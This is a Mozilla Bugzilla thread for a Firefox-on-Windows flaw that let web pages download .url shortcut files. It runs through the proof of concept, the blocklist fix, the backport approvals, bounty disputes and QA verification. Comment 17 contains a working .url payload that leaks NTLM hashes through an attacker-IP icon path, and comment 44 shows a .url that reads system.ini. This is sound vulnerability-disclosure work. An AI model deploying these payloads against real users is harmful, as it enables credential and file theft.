1809923 - (CVE-2023-25734) .url extension Download leads to Arbitrary File Read

Status: VERIFIED FIXED

(Firefox :: File Handling, defect, P1)

Description

[Ameen]

Attachment: Firefox - UrlExtension Dangerous File Extension.mp4

Chromium Bug Reference: https://bugs.chromium.org/p/chromium/issues/detail?id=1307930

While visiting a webpage if the download initiate for .lnk/ .local these file types are changed to .download by firefox. But i have found a way to download .url File while lead to Arbitrary File Read

Note: .local/ .lnk are already restricted and .url is missed

We can use Blob Method with type text to download the .url file without changing it to .download

FIREFOX VERSION : 108.0.2 (64-bit)

REPRODUCTION CASE:

.Url Download POC

1. Open the Below Attached HTML
2. You can See the .Url file Downloaded

.Url Download Arbitrary File Read POC

1. Open the Below Same Attached HTML
2. You can See the .URL File Downloaded
3. Upload the same file in the Upload Button
4. You can See the content of system.ini file

I have also attached the POC Video for your reference

Comment 1

[Ameen]

Attachment: urlDangerousExtension.html

Comment 2

[Ameen]

Downloading .lnk and .local extension are already prevented.

When we download a file named abc.lnk it will be changed to abc.lnk.download

Comment 3

[Ameen]

.lnk / .local / .url are considered as dangerous extension in windows which have the ability to invoke executable(.lnk)/ read files(.url)/ hijack the dependencies(.local)

Comment 5

[Ameen]

Hi Gijs it looks like issue raised after mine was marked as source issue of mine.

My Report Id: 1809923
Source Bug: 1810143

From the Report id itself i can see mine is not a duplicate, Kindly recheck on this and help me at earliest

Thanks

Comment 6

[Shaheen Fazim]

I think its duplicate on my end, urs all good, Nice catch btw

Comment 7

[Ameen]

Sorry, Confusion at my end.
Thanks

Comment 8

[:Gijs (he/him)]

Neil, given your work on bug 1773894, can you take a look?

Comment 9

[Neil Deakin]

Is it sufficient to just add .url to the same blocklist as .lnk and .local ?

Comment 10

[:Gijs (he/him)]

(In reply to Neil Deakin from comment #9)

Is it sufficient to just add .url to the same blocklist as .lnk and .local ?

I hope so? I haven't attempted to use the testcase here - it would need some verification. But that's what I expect.

Comment 11

[Shaheen Fazim]

Attachment: poc data uri.html

I would like to report an alternative method for downloading .url file. The POC provided here utilizes the data URI method instead of Blob, which enables the download of .url files without any filter. I hope this will provide additional information for resolving the issue.

Comment 12

[Ameen]

Hi guys, can i get the fix details. it looks sufficient to add .url to blocklist.

But wants to know what is planned for fix.

Comment 13

[Neil Deakin]

Attachment: Bug 1809923, also block url extension when saving files, and use a case insensitive comparison, r=gijs

Depends on D167028

Comment 15

[:Gijs (he/him)]

Looks like this doesn't have a sec rating, going to copy the one from bug 1773894, given this is effectively the same issue but for a different file extension.

Neil, is this ready to land?

Comment 16

[Sergey Galich [:serg]]

Perhaps add .SCF as well? See Bug 1812354

Comment 17

[Ameen]

HI Guys, This issue has much more impact with no user interaction

i have explored few more things and found we can get the Victim NTLM Hash without any user interaction just by visiting a website.

I have attached the POC Video and files used in the POC

Steps To Reproduce (Not u can use any other method too. The .url file content is important)

1. Extract the Zip to some separate folder
2. Run the flaskServer by running
   eg: python flaskServer.py
   Note: This will make the python Server Up with serving NTLMLeaker url file in /download location
3. Run any NTLM Hash catcher. and note down the IP. use the IP in your .url file which is server under /download location
4. Open the HTML File. Boom You can find your NTLM Hash is leaked to Attacker

Since it critical can we increase the severity of this issue and quick up the release

Also [Issue]https://bugzilla.mozilla.org/show_bug.cgi?id=1810793 is having the similar impact can we guys quick the fix on there too.

.url file content for NTLM leak which is used in the POC
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\192.168.0.114%USERNAME%.icon
IconIndex=1

Comment 18

[Ameen]

Attachment: NtlmLeaker.zip

Comment 19

[Ameen]

Attachment: NTLM Hash Leak - Firefox.mp4

Comment 20

[:Gijs (he/him)]

(In reply to Ameen from comment #17)

HI Guys, This issue has much more impact with no user interaction

This was exactly what bug 1773894 was, so I don't see why this should be higher severity. https://bugs.chromium.org/p/chromium/issues/detail?id=722524#c11 also suggests that this doesn't actually affect most Windows users.

Comment 21

[Ameen]

This was exactly what bug 1773894 was, so I don't see why this should be higher severity.

Hi yes the impact is same. But i just found out that the same is achievable via .url file too without any interaction.

Also in some blogs i have seen that .lnk ntlm hash leak was fixed by windows to load it from internal resource alone

So this method will be worked in latest version of windows and firefox. Hope you have checked my poc video too

https://bugs.chromium.org/p/chromium/issues/detail?id=722524#c11 also suggests that this doesn't actually affect most Windows users.

There is some misunderstanding here. The file which is mentioned here is .url but the reference which you shared is .scf file. yes in recent version of windows ntlm leak via scf is not possible. but the one which i shared poc is for .url which is still vulnerable in windows. So it will affect all window users.

Comment 22

[haxatron1]

In latest version of Windows, hash leak via scf is still possible (tested via Windows 10 Version 21H2 (Build 19044.2486))(In reply to Ameen from comment #21)

This was exactly what bug 1773894 was, so I don't see why this should be higher severity.

Hi yes the impact is same. But i just found out that the same is achievable via .url file too without any interaction.

Also in some blogs i have seen that .lnk ntlm hash leak was fixed by windows to load it from internal resource alone

So this method will be worked in latest version of windows and firefox. Hope you have checked my poc video too

https://bugs.chromium.org/p/chromium/issues/detail?id=722524#c11 also suggests that this doesn't actually affect most Windows users.

There is some misunderstanding here. The file which is mentioned here is .url but the reference which you shared is .scf file. yes in recent In recent version of windows ntlm leak via scf is not possible. but the one which i shared poc is for .url which is still vulnerable in windows. So it will affect all window users.

In recent version of windows, it is still possible to leak hashes via .scf files, tested on Windows 10 Version 21H2 (Build 19044.2486)

Comment 23

[Neil Deakin]

Attachment: Bug 1809923, r=gijs

Comment 24

[Ameen]

Hi haxatron1. Thanks for the info. i have mentioned that point since Gijs said this doesn't actually affect most windows users.

If it is still vulnerable. Then more number of People were vulnerable. But this doesn't fall in my case since i reports on .url and it is vulnerable on all windows user for NTML hash leak

Also can you share some information and sample on how scf can still vulnerable in latest windows. bcz in some blogs i found as it was fixed by windows.

Comment 25

[haxatron1]

The payload at https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/ still works on my windows (don't want paste the payload here so as to not clutter this bug report any further). And my windows has the latest update for the 21H2 version. Maybe it does not reproduce on the 22H2 version (I haven't checked) but 21H2 is not end-of-life yet.

Comment 26

[haxatron1]

(In reply to haxatron1 from comment #25)

The payload at https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/ still works on my windows (don't want paste the payload here so as to not clutter this bug report any further). And my windows has the latest update for the 21H2 version. Maybe it does not reproduce on the 22H2 version (I haven't checked) but 21H2 is not end-of-life yet.

*The backslash should be changed to forward slash otherwise the reproduction will not work for .scf files.

Comment 27

[Ameen]

Thanks for the update haxatron1.

Comment 28

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

r=Gijs
https://hg.mozilla.org/integration/autoland/rev/ab7d32a004aaaa1b33b5e1ec9cceedb4e1057615
https://hg.mozilla.org/mozilla-central/rev/ab7d32a004aa

Comment 29

[Ameen]

Hi team, It looks like the issue is fixed and closed.

This is my first time reporting to firefox. can i get some information on how the bounty process will be and how much the bounty is.

Thanks

Comment 30

[Ameen]

(In reply to :Gijs (he/him) from comment #15)

Looks like this doesn't have a sec rating, going to copy the one from bug 1773894, given this is effectively the same issue but for a different file extension.

Gijs i hope the severity is higher than the .lnk issue.
Reasons:

1. In my issue without user interaction it will leak the NTLM Hash just by visiting a website
2. It has impact of arbitrary file read too

Kindly revisit the severity to high.

Comment 31

[Ryan VanderMeulen [:RyanVM]]

Please nominate this for Beta and ESR approval when you get a chance.

Comment 32

[Neil Deakin]

Comment on attachment 9314286 [details]
Bug 1809923, r=gijs

Beta/Release Uplift Approval Request

• User impact if declined: Files with certain extensions on Windows are handled as shortcuts and can point to local files which the user can open.
• Is this code covered by automated tests?: Yes
• Has the fix been verified in Nightly?: Yes
• Needs manual test from QE?: Yes
• If yes, steps to reproduce: Automated tests have not yet landed.
• List of other uplifts needed: None
• Risk to taking this patch: Low
• Why is the change risky/not risky? (and alternatives if risky): Just adds additional extensions to the existing list.
• String changes made/needed: None
• Is Android affected?: No

ESR Uplift Approval Request

• If this is not a sec:{high,crit} bug, please state case for ESR consideration: Very low risk change that adds additional dangerous extensions to the existing list.
• User impact if declined: Files with certain extensions on Windows are handled as shortcuts and can point to local files which the user can open.
• Fix Landed on Version: 111
• Risk to taking this patch: Low
• Why is the change risky/not risky? (and alternatives if risky): Just adds additional extensions to the existing list.

Comment 33

[Pascal Chevrel:pascalc]

Comment on attachment 9314286 [details]
Bug 1809923, r=gijs

Approved for 110 beta 8, thanks.

Comment 34

[Pascal Chevrel:pascalc]

https://hg.mozilla.org/releases/mozilla-beta/rev/a2b65e3459a8

Comment 35

[Ameen]

Hi team can i get to know how the bounty process will be?

Comment 36

[Daniel Veditz [:dveditz]]

Congratulations, we have awarded a bug bounty for this issue. The award is split with bug 1810143 which is a duplicate submission filed within the "collision window" defined in our bug bounty policy.

Comment 37

[Ameen]

Daniel Veditz@ I have provided your team the issue details from start with detailed POC details each time. along with more impact details by more analysis from my side.

i didn't find it as fair to split the bounty. since i spend major of my time in this issue for multiple analysis.

Kindly Re-Asses and increase my bounty part. Waiting for your update

Comment 38

[Ameen]

Also from my analysis i have found that this will leak the user ntlm hash with just by visiting a website (0-click)

Considering this all. The impact is more and the bounty will be higher than the one awarded to me.

Comment 39

[Pascal Chevrel:pascalc]

Comment on attachment 9314286 [details]
Bug 1809923, r=gijs

Approved for ESR 102.8.0, thanks.

Comment 40

[Pascal Chevrel:pascalc]

https://hg.mozilla.org/releases/mozilla-esr102/rev/3c7d9f78fb64

Comment 41

[Ameen]

(In reply to Ameen from comment #37)

Daniel Veditz@ I have provided your team the issue details from start with detailed POC details each time. along with more impact details by more analysis from my side.

i didn't find it as fair to split the bounty. since i spend major of my time in this issue for multiple analysis.

Kindly Re-Asses and increase my bounty part. Waiting for your update

Team kindly provide update on this. im waiting for reply.

Comment 42

[Tom Ritter [:tjr]]

We do not discuss bounty decisions in Bugzilla, I have forwarded your email to security@mozilla which is the correct forum for those discussions, and we will reply over email.

Comment 43

[Ameen]

Thanks we will discuss over mail on this.

Comment 44

[Daniel Bodea [:danibodea]]

I have used the following steps to reproduce:

1. load the test case https://bugzilla.mozilla.org/attachment.cgi?id=9312000
2. (necessary to log into Bugzilla)
3. when the test loads check the downloads panel

• Affected build result 1: A file named "example.url" is downloaded automatically
• Fixed build result 1: A file named "example.url.download" is downloaded automatically

4. Browse and load the same file into the test page.

• Affected build result 2: "system.ini" is displayed at the right of the "Browse" button.

  ; for 16-bit app support
  [386Enh]
  woafont=dosapp.fon
  EGA80WOA.FON=EGA80WOA.FON
  EGA40WOA.FON=EGA40WOA.FON
  CGA80WOA.FON=CGA80WOA.FON
  CGA40WOA.FON=CGA40WOA.FON

  [drivers]
  wave=mmdrv.dll
  timer=timer.drv

  [mci]

• Fixed build result 2: "example.url.download" is displayed at the right of the "Browse" button.

  [{000214A0-0000-0000-C000-000000000046}]
  Prop3=19,2
  [InternetShortcut]
  IDList=
  URL=file://C:/Windows/system.ini
  HotKey=0

With these steps, I've reproduced the issue in Release v109.0.1 and Verified the fix in Nightly v111.0a1 from 2022.02.07 and Beta v110.0 (RC).
There is no build to test ESR v102.8.0esr just yet, not even in treeherder.

Important to note that this issue does not seem to be reproducing in non-Windows systems as it is a windows-only vulnerability/hack.

Neal, can you confirm that the right steps were used to verify this fix? Also that this is a Windows-only vulnerability/fix? Thanks!

Comment 45

[Daniel Bodea [:danibodea]]

I have also verified the fix of ESR v102.8.0esr on Windows 10. Still waiting on confirmation that the correct steps to reproduce were used.

Comment 47

[Tom Ritter [:tjr]]

Attachment: advisory.txt

Comment 48

[Tom Ritter [:tjr]]

Attachment: advisory.txt

Comment 49

[Ameen]

Hi Team, Can i get the CVE ID Details Registered for this issue.